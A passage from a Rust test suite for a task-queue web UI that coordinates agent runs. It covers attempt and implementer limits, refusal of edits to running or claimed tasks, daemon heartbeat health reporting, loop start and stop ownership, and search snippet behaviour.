14001 Ok(Json(AttemptLimitBody {
14002 attempt_limit: value,
14003 })),
14004 )
14005 };
14006 for value in [
14007 serde_json::json!(3),
14008 serde_json::Value::Null,
14009 serde_json::json!(1),
14010 ] {
14011 let response = change(value.clone()).await.unwrap();
14012 assert_eq!(
14013 serde_json::to_value(response.0).unwrap()["attempt_limit"],
14014 value
14015 );
14016 let saved = q.get(&t.id).unwrap();
14017 assert_eq!(
14018 serde_json::to_value(&saved).unwrap()["attempt_limit"],
14019 value
14020 );
14021 assert_eq!(saved.status, TaskStatus::Held);
14022 assert_eq!(saved.attempts, t.attempts);
14023 assert_eq!(saved.runs, t.runs);
14024 assert_eq!(saved.hold_reason, t.hold_reason);
14025 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14026 .await
14027 .unwrap()
14028 .0;
14029 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14030 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14031 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14032 assert_eq!(outcome.max_attempts, detail.max_attempts);
14033 }
14034 for value in [
14035 serde_json::json!(0),
14036 serde_json::json!(-1),
14037 serde_json::json!(1.5),
14038 serde_json::json!("3"),
14039 serde_json::json!(true),
14040 ] {
14041 assert_eq!(
14042 change(value).await.err().unwrap().status,
14043 StatusCode::BAD_REQUEST
14044 );
14045 }
14046 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14047 let claim = q.claim(&t.id).unwrap();
14048 assert_eq!(
14049 change(serde_json::json!(4)).await.err().unwrap().status,
14050 StatusCode::CONFLICT
14051 );
14052 drop(claim);
14053 for status in [
14054 TaskStatus::Running,
14055 TaskStatus::Done,
14056 TaskStatus::Failed,
14057 TaskStatus::Blocked,
14058 TaskStatus::Parked,
14059 ] {
14060 let mut stored = q.get(&t.id).unwrap();
14061 stored.status = status;
14062 q.put(&mut stored).unwrap();
14063 assert_eq!(
14064 change(serde_json::json!(4)).await.err().unwrap().status,
14065 StatusCode::BAD_REQUEST
14066 );
14067 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14068 }
14069 let mut stored = q.get(&t.id).unwrap();
14070 stored.status = TaskStatus::Queued;
14071 q.put(&mut stored).unwrap();
14072 let _ = change(serde_json::Value::Null).await.unwrap();
14073 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14074 }
14075
14076 #[tokio::test]
14077 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14078 let dir = TempDir::new().unwrap();
14079 let repo = dir.path().join("repo");
14080 std::fs::create_dir(&repo).unwrap();
14081 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14082 let q = Queue::at(dir.path().join("queue"));
14083 let ui = Arc::new(Ui::new(
14084 q.clone(),
14085 Questions::at(dir.path().join("questions")),
14086 Talks::at(dir.path().join("talks")),
14087 dir.path().join("runs"),
14088 dir.path().to_path_buf(),
14089 repo.clone(),
14090 ));
14091 let mut t = Task::new(
14092 "seats".into(),
14093 "keep instruction".into(),
14094 repo,
14095 Source::Human,
14096 );
14097 t.runs.push("prior-run".into());
14098 t.hold_manual(Some("waiting".into()));
14099 q.put(&mut t).unwrap();
14100 let change = |count| {
14101 queue_implementers(
14102 State(ui.clone()),
14103 Path(t.id.clone()),
14104 Ok(Json(ImplementersBody {
14105 implementers: count,
14106 })),
14107 )
14108 };
14109 for count in [2, 1, 2] {
14110 let response = change(count).await.unwrap();
14111 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14112 let saved = q.get(&t.id).unwrap();
14113 assert_eq!(saved.implementers(), Some(usize::from(count)));
14114 assert_eq!(saved.runs, t.runs);
14115 assert_eq!(saved.instruction, t.instruction);
14116 }
14117 for count in [0, 4] {
14118 assert_eq!(
14119 change(count).await.err().unwrap().status,
14120 StatusCode::BAD_REQUEST
14121 );
14122 }
14123 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14124 let claim = q.claim(&t.id).unwrap();
14125 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14126 drop(claim);
14127 for status in [
14128 TaskStatus::Running,
14129 TaskStatus::Done,
14130 TaskStatus::Failed,
14131 TaskStatus::Blocked,
14132 TaskStatus::Parked,
14133 ] {
14134 let mut stored = q.get(&t.id).unwrap();
14135 stored.status = status;
14136 q.put(&mut stored).unwrap();
14137 assert_eq!(
14138 change(1).await.err().unwrap().status,
14139 StatusCode::BAD_REQUEST
14140 );
14141 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14142 }
14143 }
14144
14145 #[tokio::test]
14146 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14147 let f = Fixture::start().await;
14148 let queue = f.queue();
14149 let mut task = Task::new(
14150 "in flight".to_owned(),
14151 "x".to_owned(),
14152 PathBuf::from("/repo/magi"),
14153 Source::Human,
14154 );
14155 task.start("20260902-140502-bbbb".to_owned());
14156 queue.put(&mut task).expect("file the task");
14157
14158 let res = f
14159 .post(
14160 &format!("/api/queue/{}/priority", task.id),
14161 Some(r#"{"priority":9}"#),
14162 )
14163 .await;
14164 assert_eq!(res.status, 400, "{}", res.body);
14165 assert!(
14166 res.json()["error"]
14167 .as_str()
14168 .is_some_and(|e| e.contains("running")),
14169 "{}",
14170 res.body
14171 );
14172 assert_eq!(
14173 queue.get(&task.id).expect("reload").priority,
14174 0,
14175 "the refused write must not partially apply"
14176 );
14177 }
14178
14179 #[tokio::test]
14180 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14181 let f = Fixture::start().await;
14182 let queue = f.queue();
14183 let mut task = Task::new(
14184 "old title".to_owned(),
14185 "old instruction".to_owned(),
14186 PathBuf::from("/repo/magi"),
14187 Source::Agent {
14188 run: "20260101-000000-beef".to_owned(),
14189 node: "implement".to_owned(),
14190 },
14191 );
14192 task.runs.push("20260101-000000-beef".to_owned());
14193 queue.put(&mut task).expect("file the task");
14194 let created_at = task.created_at;
14195
14196 let edited = f
14197 .post(
14198 &format!("/api/queue/{}/edit", task.id),
14199 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14200 )
14201 .await;
14202 assert_eq!(edited.status, 200, "{}", edited.body);
14203 let body = edited.json();
14204 assert_eq!(body["title"], "new title");
14205 assert_eq!(body["instruction"], "new instruction");
14206 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14207 assert_eq!(body["created_at"], created_at.to_string());
14208 assert_eq!(
14209 body["source"]["kind"], "agent",
14210 "editing a task an agent filed must not turn it human: {body}"
14211 );
14212 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
14213
14214 let reloaded = queue.get(&task.id).expect("reload");
14215 assert_eq!(reloaded.title, "new title");
14216 assert_eq!(reloaded.instruction, "new instruction");
14217 }
14218
14219 #[tokio::test]
14220 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
14221 let tmp = TempDir::new().expect("tempdir");
14224 let repo = tmp.path().join("repo");
14225 std::fs::create_dir_all(&repo).expect("repo dir");
14226 let judge = MOCK_AGENT_TOML.replace(
14227 "printf ok",
14228 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
14229 );
14230 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
14231 let f = Fixture::with_repo(repo.clone()).await;
14232 let queue = f.queue();
14233 let mut owner = Task::new(
14234 "owner".to_owned(),
14235 "review it".to_owned(),
14236 repo.clone(),
14237 Source::Human,
14238 );
14239 owner.review_branch = Some("magi/ab12/A".to_owned());
14240 queue.put(&mut owner).expect("file the owner");
14241 let mut task = Task::new(
14242 "draft".to_owned(),
14243 "old".to_owned(),
14244 repo.clone(),
14245 Source::Human,
14246 );
14247 queue.put(&mut task).expect("file the draft");
14248 let url = format!("/api/queue/{}/edit", task.id);
14249
14250 let refused = f
14251 .post(
14252 &url,
14253 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
14254 )
14255 .await;
14256 assert_eq!(refused.status, 409, "{}", refused.body);
14257 let msg = refused.json()["error"]
14258 .as_str()
14259 .unwrap_or_default()
14260 .to_owned();
14261 assert!(
14262 msg.contains("magi/ab12/A") && msg.contains("force"),
14263 "{msg}"
14264 );
14265 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
14266
14267 let forced = f
14268 .post(
14269 &url,
14270 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
14271 )
14272 .await;
14273 assert_eq!(forced.status, 200, "{}", forced.body);
14274 }
14275
14276 #[tokio::test]
14277 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
14278 let f = Fixture::start().await;
14279 let queue = f.queue();
14280 let mut task = Task::new(
14281 "in flight".to_owned(),
14282 "do not touch".to_owned(),
14283 PathBuf::from("/repo/magi"),
14284 Source::Human,
14285 );
14286 task.start("20260902-140502-bbbb".to_owned());
14287 queue.put(&mut task).expect("file the task");
14288
14289 let res = f
14290 .post(
14291 &format!("/api/queue/{}/edit", task.id),
14292 Some(r#"{"title":"x","instruction":"y"}"#),
14293 )
14294 .await;
14295 assert_eq!(res.status, 400, "{}", res.body);
14296 assert!(
14297 res.json()["error"]
14298 .as_str()
14299 .is_some_and(|e| e.contains("running")),
14300 "{}",
14301 res.body
14302 );
14303 assert_eq!(
14304 queue.get(&task.id).expect("reload").instruction,
14305 "do not touch",
14306 "the refused edit must not change the file"
14307 );
14308 }
14309
14310 #[tokio::test]
14311 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
14312 let f = Fixture::start().await;
14313 let queue = f.queue();
14314 let mut task = Task::new(
14315 "busy".to_owned(),
14316 "Running right now".to_owned(),
14317 PathBuf::from("/repo/magi"),
14318 Source::Human,
14319 );
14320 queue.put(&mut task).expect("file the task");
14321 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14322
14323 let priority = f
14324 .post(
14325 &format!("/api/queue/{}/priority", task.id),
14326 Some(r#"{"priority":9}"#),
14327 )
14328 .await;
14329 assert_eq!(priority.status, 409, "{}", priority.body);
14330
14331 let edit = f
14332 .post(
14333 &format!("/api/queue/{}/edit", task.id),
14334 Some(r#"{"title":"x","instruction":"y"}"#),
14335 )
14336 .await;
14337 assert_eq!(edit.status, 409, "{}", edit.body);
14338 }
14339
14340 #[tokio::test]
14341 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
14342 let f = Fixture::start().await;
14343 let queue = f.queue();
14344 let mut task = Task::new(
14345 "shipped by hand".to_owned(),
14346 "merged outside the loop".to_owned(),
14347 PathBuf::from("/repo/magi"),
14348 Source::Agent {
14349 run: "20260101-000000-b455".to_owned(),
14350 node: "implement".to_owned(),
14351 },
14352 );
14353 task.runs.push("20260101-000000-b455".to_owned());
14354 task.runs.push("20260101-000000-9af4".to_owned());
14355 queue.put(&mut task).expect("file the task");
14356 let created_at = task.created_at;
14357
14358 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14359 assert_eq!(done.status, 200, "{}", done.body);
14360 assert_eq!(done.json()["status_str"], "done");
14361
14362 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
14363 assert_eq!(
14364 reloaded.runs,
14365 ["20260101-000000-b455", "20260101-000000-9af4"]
14366 );
14367 assert_eq!(
14368 reloaded.source,
14369 Source::Agent {
14370 run: "20260101-000000-b455".to_owned(),
14371 node: "implement".to_owned(),
14372 }
14373 );
14374 assert_eq!(reloaded.created_at, created_at);
14375 }
14376
14377 #[tokio::test]
14378 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
14379 let f = Fixture::start().await;
14384 let queue = f.queue();
14385 let mut task = Task::new(
14386 "landed while held".to_owned(),
14387 "x".to_owned(),
14388 PathBuf::from("/repo/magi"),
14389 Source::Human,
14390 );
14391 task.hold_manual(Some("waiting on 3ed9".to_owned()));
14392 queue.put(&mut task).expect("file the held task");
14393
14394 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14395 assert_eq!(done.status, 200, "{}", done.body);
14396 assert_eq!(done.json()["status_str"], "done");
14397 assert!(
14398 done.json()["hold_reason"].is_null(),
14399 "a done task cannot still be waiting on something: {}",
14400 done.body
14401 );
14402 }
14403
14404 #[tokio::test]
14405 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
14406 let f = Fixture::start().await;
14411 let queue = f.queue();
14412 let runs = f.runs();
14413 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
14414 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
14418
14419 let mut task = Task::new(
14420 "landed by hand".to_owned(),
14421 "x".to_owned(),
14422 PathBuf::from("/repo/magi"),
14423 Source::Human,
14424 );
14425 task.runs.push("20260101-000000-doa1".to_owned());
14426 task.runs.push("20260101-000000-doa2".to_owned());
14427 queue.put(&mut task).expect("file the task");
14428
14429 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14430 assert_eq!(done.status, 200, "{}", done.body);
14431
14432 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
14433 .expect("run still on disk under this fixture's own home");
14434 assert_eq!(
14435 reloaded_run.status,
14436 RunStatus::Superseded,
14437 "closing the task by hand must relabel the earlier blocked attempt exactly \
14438 like the loop's own settle path does"
14439 );
14440 }
14441
14442 #[tokio::test]
14443 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
14444 let f = Fixture::start().await;
14449 let queue = f.queue();
14450 let runs = f.runs();
14451 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
14452 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
14453
14454 let mut task = Task::new(
14455 "closed with nothing actually landed".to_owned(),
14456 "x".to_owned(),
14457 PathBuf::from("/repo/magi"),
14458 Source::Human,
14459 );
14460 task.runs.push("20260101-000000-dob1".to_owned());
14461 task.runs.push("20260101-000000-dob2".to_owned());
14462 queue.put(&mut task).expect("file the task");
14463
14464 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14465 assert_eq!(done.status, 200, "{}", done.body);
14466
14467 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
14468 .expect("run still on disk under this fixture's own home");
14469 assert_eq!(
14470 reloaded_run.status,
14471 RunStatus::Blocked,
14472 "the last recorded attempt never landed, so the earlier one must not be \
14473 relabelled as superseded by it"
14474 );
14475 }
14476
14477 #[tokio::test]
14478 async fn unknown_ids_are_json_not_found_on_both_stores() {
14479 let f = Fixture::start().await;
14480
14481 let run = f.get("/api/runs/nosuchrun").await;
14482 let task = f.post("/api/queue/nosuchtask/hold", None).await;
14483
14484 assert_eq!(run.status, 404);
14485 assert_eq!(task.status, 404);
14486 assert!(
14487 run.json()["error"]
14488 .as_str()
14489 .is_some_and(|e| e.contains("run")),
14490 "the error names what was not found: {}",
14491 run.body
14492 );
14493 assert!(
14494 task.json()["error"]
14495 .as_str()
14496 .is_some_and(|e| e.contains("task")),
14497 "the error names what was not found: {}",
14498 task.body
14499 );
14500 }
14501
14502 #[tokio::test]
14503 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
14504 let f = Fixture::start().await;
14505
14506 let missing = f.get("/api/health").await.json();
14507 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
14508
14509 write_daemon(
14510 f.home.path(),
14511 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14512 );
14513 let stale = f.get("/api/health").await.json();
14514 assert_eq!(
14515 stale["daemon"]["running"], false,
14516 "a minute without a heartbeat is a dead daemon, not a busy one"
14517 );
14518 assert!(
14519 stale["daemon"]["stale_for_secs"]
14520 .as_i64()
14521 .is_some_and(|s| s >= 55),
14522 "staleness is reported so the UI can say how long: {stale}"
14523 );
14524
14525 write_daemon(f.home.path(), Timestamp::now());
14526 let fresh = f.get("/api/health").await.json();
14527 assert_eq!(fresh["daemon"]["running"], true);
14528 assert_eq!(fresh["daemon"]["idle"], false);
14529 assert_eq!(fresh["daemon"]["pid"], 4242);
14530 assert_eq!(fresh["daemon"]["completed"], 7);
14531 assert_eq!(
14532 fresh["daemon"]["current"][0]["task"],
14533 "20260902-140501-aaaa"
14534 );
14535 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
14536 }
14537
14538 #[tokio::test]
14539 async fn the_loop_is_not_running_until_something_starts_it() {
14540 let f = Fixture::start().await;
14541
14542 let view = f.get("/api/loop").await.json();
14543 assert_eq!(view["running"], false);
14544 assert_eq!(
14545 view["owned"], false,
14546 "nobody owns a loop that does not exist: {view}"
14547 );
14548 assert_eq!(view["stopping"], false);
14549 assert_eq!(view["last_error"], Value::Null);
14550 assert_eq!(view["daemon"]["running"], false);
14551 assert_eq!(
14552 view["repo"], "/repo/magi",
14553 "the repository a start would use, named before it is started"
14554 );
14555 }
14556
14557 #[tokio::test]
14558 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
14559 let f = Fixture::start().await;
14560
14561 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14562 assert_eq!(res.status, 200, "{}", res.body);
14563 let view = res.json();
14564 assert_eq!(view["running"], true);
14565 assert_eq!(
14566 view["owned"], true,
14567 "the loop the UI started is the UI's own to stop: {view}"
14568 );
14569 assert_eq!(
14570 view["merge"],
14571 Value::Null,
14572 "no override was given, so each repository's own config decides"
14573 );
14574
14575 let health = f.get("/api/health").await.json();
14579 assert_eq!(health["loop"]["running"], true, "{health}");
14580 assert_eq!(health["loop"]["owned"], true, "{health}");
14581
14582 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14583 }
14584
14585 #[tokio::test]
14586 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
14587 let f = Fixture::start().await;
14588 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14589 assert_eq!(first.status, 200, "{}", first.body);
14590
14591 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14592 assert_eq!(
14593 again.status, 409,
14594 "two loops on one queue race for the same claims: {}",
14595 again.body
14596 );
14597 assert!(
14598 again.json()["error"]
14599 .as_str()
14600 .is_some_and(|e| e.contains("already running the loop")),
14601 "the refusal has to say why: {}",
14602 again.body
14603 );
14604 assert_eq!(
14605 f.get("/api/loop").await.json()["running"],
14606 true,
14607 "and the loop that was already running is untouched by it"
14608 );
14609
14610 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14611 }
14612
14613 #[tokio::test]
14614 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
14615 let f = Fixture::start().await;
14616 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14617
14618 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14619 assert_eq!(
14620 res.status, 200,
14621 "the answer must not wait for the loop: a run in flight is tens of \
14622 minutes and the operator is holding a phone: {}",
14623 res.body
14624 );
14625
14626 let view = settled(&f, |v| v["running"] == false).await;
14627 assert_eq!(view["owned"], false);
14628 assert_eq!(
14629 view["stopping"], false,
14630 "a loop that has stopped is not still stopping: {view}"
14631 );
14632 assert_eq!(
14633 view["last_error"],
14634 Value::Null,
14635 "a loop that was asked to stop did not fail: {view}"
14636 );
14637
14638 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14641 assert_eq!(twice.status, 200, "{}", twice.body);
14642 }
14643
14644 #[tokio::test]
14645 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
14646 let f = Fixture::start().await;
14647 write_daemon(f.home.path(), Timestamp::now());
14650
14651 let view = f.get("/api/loop").await.json();
14652 assert_eq!(view["running"], false, "not in this process: {view}");
14653 assert_eq!(view["owned"], false, "and not this process's to control");
14654 assert_eq!(
14655 view["daemon"]["running"], true,
14656 "but a loop is alive somewhere, which is what the UI must say"
14657 );
14658 assert_eq!(view["daemon"]["pid"], 4242);
14659
14660 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
14661 let res = f.post("/api/loop", Some(body)).await;
14662 assert_eq!(
14663 res.status, 409,
14664 "neither button may pretend to work on someone else's loop: {}",
14665 res.body
14666 );
14667 assert!(
14668 res.json()["error"]
14669 .as_str()
14670 .is_some_and(|e| e.contains("4242")),
14671 "the refusal has to name the process the operator must go to: {}",
14672 res.body
14673 );
14674 }
14675 assert_eq!(
14676 f.get("/api/loop").await.json()["running"],
14677 false,
14678 "and the refusal started nothing"
14679 );
14680 }
14681
14682 #[tokio::test]
14683 async fn a_stale_status_file_is_not_a_foreign_owner() {
14684 let f = Fixture::start().await;
14685 write_daemon(
14686 f.home.path(),
14687 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14688 );
14689
14690 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14691 assert_eq!(
14692 res.status, 200,
14693 "a daemon killed a minute ago must not lock the loop out of its \
14694 own home for good: {}",
14695 res.body
14696 );
14697 assert_eq!(res.json()["running"], true);
14698
14699 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14700 }
14701
14702 #[tokio::test]
14703 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14704 let f = Fixture::start().await;
14705 let before = f.get("/api/health").await.json()["loop_rev"]
14706 .as_u64()
14707 .expect("a loop revision");
14708
14709 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14710
14711 let after = f.get("/api/health").await.json()["loop_rev"]
14712 .as_u64()
14713 .expect("a loop revision");
14714 assert!(
14715 after > before,
14716 "the loop is in-process state, so this counter is the only thing \
14717 that tells a second device the first one started it: {before} -> \
14718 {after}"
14719 );
14720
14721 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14722 }
14723
14724 #[tokio::test]
14725 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14726 let f = Fixture::with_loop(launch_broken).await;
14727
14728 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14729 assert_eq!(
14730 res.status, 200,
14731 "starting it is not the failure: {}",
14732 res.body
14733 );
14734
14735 let view = settled(&f, |v| v["last_error"].is_string()).await;
14736 assert_eq!(
14737 view["running"], false,
14738 "a loop that died must not read as running, or the operator has \
14739 nothing to press: {view}"
14740 );
14741 assert_eq!(view["owned"], false);
14742 assert!(
14743 view["last_error"]
14744 .as_str()
14745 .is_some_and(|e| e.contains("read-only file system")),
14746 "the phone is where a loop that died at 3am is visible: {view}"
14747 );
14748
14749 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14752 assert_eq!(again.status, 200, "{}", again.body);
14753 assert!(
14754 again.json()["last_error"]
14755 .as_str()
14756 .is_none_or(|e| !e.contains("read-only file system")),
14757 "a fresh start does not keep showing why the last one died: {}",
14758 again.body
14759 );
14760 }
14761
14762 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14774 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14775 let home = TempDir::new().expect("temp home");
14776 let runs = home.path().join("runs");
14777 std::fs::create_dir_all(&runs).expect("runs dir");
14778 let ui = Ui::new(
14779 Queue::at(home.path().join("queue")),
14780 Questions::at(home.path().join("questions")),
14781 Talks::at(home.path().join("talks")),
14782 runs,
14783 home.path().to_path_buf(),
14784 PathBuf::from("/repo/magi"),
14785 )
14786 .with_worktrees_root(home.path().join("wt"))
14787 .with_launch(launch_knocking_on_the_way_out);
14788 let looping = ui.looping();
14789 let turns = ui.turns();
14790 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14791 .await
14792 .expect("bind loopback");
14793 let addr = listener.local_addr().expect("local addr");
14794 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14795 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14796
14797 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
14798 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14799
14800 let bound = std::sync::Mutex::new(None);
14815 hand_over(
14816 home.path(),
14817 &looping,
14818 &turns,
14819 &|_: &[String]| Duration::from_secs(5),
14820 served,
14821 |_| {
14822 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14823 let attempt = loop {
14824 match std::net::TcpListener::bind(addr) {
14825 Ok(l) => {
14826 drop(l);
14827 break Ok(());
14828 }
14829 Err(e)
14830 if e.kind() == std::io::ErrorKind::AddrInUse
14831 && std::time::Instant::now() < deadline =>
14832 {
14833 std::thread::sleep(std::time::Duration::from_millis(10));
14834 }
14835 Err(e) => break Err(e.to_string()),
14836 }
14837 };
14838 *bound.lock().expect("bound") = Some(attempt);
14839 Ok(1)
14840 },
14841 )
14842 .await
14843 .expect("hand over");
14844
14845 assert_eq!(
14846 *PARK_HEARD.lock().expect("park heard"),
14847 Some(200),
14848 "the deck must answer while the loop is parking"
14849 );
14850 let attempt = bound
14851 .lock()
14852 .expect("bound")
14853 .take()
14854 .expect("the successor was started");
14855 assert!(
14856 attempt.is_ok(),
14857 "and the address must be free by the time it is: {attempt:?}"
14858 );
14859 }
14860
14861 #[tokio::test]
14862 async fn a_newer_daemon_status_file_still_renders() {
14863 let f = Fixture::start().await;
14864 std::fs::write(
14867 f.home.path().join("daemon.json"),
14868 serde_json::json!({
14869 "schema": 2,
14870 "updated_at": Timestamp::now().to_string(),
14871 "idle": true,
14872 "surprise": { "nested": [1, 2, 3] },
14873 })
14874 .to_string(),
14875 )
14876 .expect("write daemon.json");
14877
14878 let health = f.get("/api/health").await;
14879
14880 assert_eq!(health.status, 200);
14881 assert_eq!(health.json()["daemon"]["running"], true);
14882 }
14883
14884 #[tokio::test]
14885 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
14886 let f = Fixture::start().await;
14887 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14888 let broken = f.runs().join("20260902-140502-bad");
14889 std::fs::create_dir_all(&broken).expect("run dir");
14890 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14891
14892 let list = f.get("/api/runs").await;
14893 let detail = f.get("/api/runs/20260902-140502-bad").await;
14894
14895 assert_eq!(list.status, 200);
14896 let listed = list.json();
14897 let ids: Vec<&str> = listed
14898 .as_array()
14899 .expect("an array")
14900 .iter()
14901 .map(|r| r["id"].as_str().expect("an id"))
14902 .collect();
14903 assert_eq!(
14904 ids,
14905 vec!["20260902-140501-good"],
14906 "one unreadable run must not cost the operator the whole history"
14907 );
14908 assert_eq!(detail.status, 500);
14909 assert!(
14910 detail.json()["error"]
14911 .as_str()
14912 .is_some_and(|e| e.contains("run.json")),
14913 "the failure names the file to look at: {}",
14914 detail.body
14915 );
14916 let health = f.get("/api/health").await;
14920 assert_eq!(health.json()["runs_unreadable"], 1);
14921 }
14922
14923 #[tokio::test]
14925 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
14926 let f = Fixture::start().await;
14927 let runs = f.runs();
14928 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
14929 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
14930 let path = runs.join("20260902-140502-bbbb").join("run.json");
14933 let mut v: serde_json::Value =
14934 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14935 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
14936 std::fs::write(&path, v.to_string()).unwrap();
14937 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
14938 std::fs::write(
14939 runs.join("20260902-140503-cccc").join("run.json"),
14940 "{ not json",
14941 )
14942 .unwrap();
14943
14944 let res = f.get("/api/search?scope=runs&q=quokka").await;
14945 assert_eq!(res.status, 200, "{}", res.body);
14946 let v = res.json();
14947 assert_eq!(v["total"], 1, "{v}");
14948 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
14949 assert_eq!(v["hits"][0]["field"], "text");
14950 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
14951 let parts = v["hits"][0]["snippet"].as_array().unwrap();
14952 assert!(
14953 parts
14954 .iter()
14955 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
14956 "{v}"
14957 );
14958 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
14959 assert_eq!(
14960 flat, "The Quokka leaks across threads",
14961 "whitespace is collapsed"
14962 );
14963
14964 let both = f
14966 .get("/api/search?scope=runs&q=MOBILE%20quokka")
14967 .await
14968 .json();
14969 assert_eq!(both["total"], 1, "{both}");
14970 let neither = f
14971 .get("/api/search?scope=runs&q=quokka%20zebra")
14972 .await
14973 .json();
14974 assert_eq!(neither["total"], 0, "{neither}");
14975 let stmt = f
14977 .get("/api/search?scope=runs&q=mobile%20first")
14978 .await
14979 .json();
14980 assert_eq!(stmt["total"], 2, "{stmt}");
14981 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
14982 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
14983 }
14984
14985 #[test]
14986 fn snippet_ignores_terms_longer_than_the_field() {
14987 let terms = ["ok".to_owned(), "elephant".to_owned()];
14988 let parts = snippet_of("ok", &terms);
14989 assert_eq!(
14990 parts,
14991 vec![SnippetPart {
14992 text: "ok".to_owned(),
14993 hit: true
14994 }]
14995 );
14996 }
14997
14998 #[test]
14999 fn snippet_marks_matches_longer_than_the_window() {
15000 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15001 let hit_len = |parts: &[SnippetPart]| -> usize {
15002 parts
15003 .iter()
15004 .filter(|p| p.hit)
15005 .map(|p| p.text.chars().count())
15006 .sum()
15007 };
15008 let total =
15009 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15010
15011 let long = "a".repeat(120);
15012 let parts = snippet_of(&long, std::slice::from_ref(&long));
15013 assert!(hit_len(&parts) > 0, "{parts:?}");
15014 assert!(total(&parts) <= cap);
15015
15016 let ja = "あ".repeat(130);
